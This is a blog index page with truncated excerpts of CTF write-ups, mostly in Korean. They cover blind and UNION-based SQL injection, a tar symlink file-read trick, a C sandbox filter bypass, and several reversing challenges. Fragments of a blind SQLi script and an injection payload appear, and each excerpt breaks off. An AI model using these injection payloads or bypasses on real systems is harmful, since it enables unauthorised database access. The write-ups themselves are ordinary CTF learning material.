freeboard - php blind error based sqli
·
CTF Writeup
평소 sqli 문제는 잘 못 풀었었는데 이제 어느정도 감 잡은 것 같다. blind sqli 코드 재활용을 위해 남긴다 from requests import * URL = 'http://54.180.124.188:8010/' for k in range(1): print('*'*10) s = [] for j in range(40): # print('asdf') start = 0 end = 255 for i in range(30): bs = (start + end) // 2 # print(bs, start, end) password = '12345678' username = f"' or (select case when ord(substr(s.column_name, {j+1}, 1)) >= {bs} then ..
hdrive - tar symbolic link attack
·
CTF Writeup
2023.11.26 - Hspace CTF - H Drive tar 파일만을 업로드할 수 있고 압축한 파일들을 다운받을 수 있다. https://blog.bi0s.in/2020/06/07/Web/Defenit20-TarAnalyzer/ TarAnalyzer - 2020 Defenit CTF | bi0s tl;dr Zip Slip Vulnerability + YAML Deserialization Attack + Race Condition Unintended Solution: Upload symlink leading to arbitarary file reads Solved by: c3rb3ru5 Challenge Description Our developer built simple web server for..
safe-compiler / C jail Trick
·
CTF Writeup
2023.11.26 Hspace CTF - safe compiler BAN_LIST = ['sys', 'exe', 'asm', 'attr', 'mprotect', 'mmap', 'munmap', 'open', 'read', 'write', ';', 'include'] CTF C Jail semicolon & include filtered bypass 1. semicolon #include int main() { if(printf("Hello, World\n")) {} } if, while, switch 안에 표현식(expression) 을 넣어서 세미콜론 없이 코드를 작성할 수 있다. 2. include 헤더를 include 할 수 없어서 __asm__ 을 생각해볼 수 있는데 표현식이 아니라 statem..
2023 WACON Qual - Adult Artist
·
CTF Writeup
There are only two functions. In start read 400 bytes then check in 4 byte increments. Move 4 byte to eax, and ecx is index of loop. Then jump to some address by ecx and address table. The length of the table is 100. Each address have long-long codes and at last they jump to compare code. I copy the 100 parts code and make python code to parse it. yeah it is terrible code but work. :D And write ..
2023 hspace CTF
·
CTF Writeup
1. easy_revimport Data.Bits (xor) import Data.Word (Word8) main :: IO () main = do let v1 = "Hacker_space" v2 putStrLn v3 Right v3 -> f2 v1 v3 f1 :: String -> Either String [Word8] f1 a1 = do let v1 = map (fromIntegral . fromEnum) a1 if length v1 == 43 then Right v1 else Left "Nah." f2 :: String -> [Word8] -> IO () f2 a1 a2 = do let v1 = [18, 22, 16, 34, 14, 19, 36, 32, 5, 8, 26, 3, 9, 23, 2, 41..
2023 Bauhinia CTF - Very Simplified RPG
·
CTF Writeup
Build docker with given files and run. Then localhost:8080 will be opened. It is Unity WebGL! Let's press the Play Button. There are some monsters, secret chest, boss, annnnnd boss chest. First I want to open the chest arounded with the fence. To open the chest we need to change Player's X value. Open the devtools then some logs are listed. They give the hint about player position. go to js code..
2023 SSTF - Dusty Code
·
CTF Writeup
아쉽게 못 푼 문제. 문제 설명처럼 a-z 까지 수백개의 프로젝트 폴더를 주는데 이 중 서버에서 돌리는 코드를 찾으면 된다. 서버에 접속하면 위와 같이 뜨는데 이를 이용해서 서버 코드를 찾는다. import glob import re from requests import get url = 'http://dustycode.sstf.site:3000/' directories = glob.glob('./projects/*') for i, directory in enumerate(directories): # print(i, directory) app = open(f'{directory}/server/app.js', 'r').read() endpoints = re.findall("'/.*'", app) for e..
2023 SSTF - Libreria
·
CTF Writeup
sql injection prob we can ask to buy a book with ISBN. In source code, they put ISBN directly into sql query. We can get any info of database with UNION SELECT but we need to make isbn >= 10000000000. here is my sqli query to get table. 23' UNION SELECT ('x' || encode(right(table_name, 8)::bytea, 'hex'))::bit(64)::bigint as isbn FROM (SELECT (row_number() over()) AS rownum, t..
AmateursCTF 2023 - flagchecker Writeup
·
CTF Writeup
퍼블 딴 문제 스크래치 문제인데 나름 재밌었다. 더러운 코드들이 보인다. 실행해보면 플래그를 입력하라 하고 zz 플래그가 틀리면 화낸다. 일단 분석을 위해 모든 변수, 리스트, 함수이름을 바꿔준다. 먼저 기본 변수 및 리스트 초기화를 해주는데, var26이 0임을 계속 생각하면 좋다. (상수 역할) the_ball object 에 flag를 list2에 입력받고 check 신호를 보낸다. 이후 배경 오브젝트 에서 check 신호를 받는다. list2 값들을 list1에 넣고 check2 신호를 보낸다. 분석하기 귀찮으니 동적분석 check2 신호를 받는 core object 코드를 살짝 떼놓고 실행해본다. list1 과 list2를 화면에 띄우고 abcd1234를 입력해보면 그냥 통상적인 encode 임..
zer0ptsCTF 2023 - decompile_me Writeup
·
CTF Writeup
간단해보이는 문제인데, 약간의 함정을 파놨다. 먼저 RC4_setkey 로 넘기는 key와 sbox는 사용하는 척 사용 안한다. 위처럼 매개변수를 사용하지 않는다. memcmp 도 직접 구현하였고, 매개변수로 넘긴 data를 사용 안하고 다른 값과 비교한다. encrypt 함수는 아래와 같고 sbox는 아래와 같이 고정되는데, 를 통해 추출한다. 정연산 역연산: Flag : zer0pts{d0n'7_4lw4y5_7ru57_d3c0mp1l3r}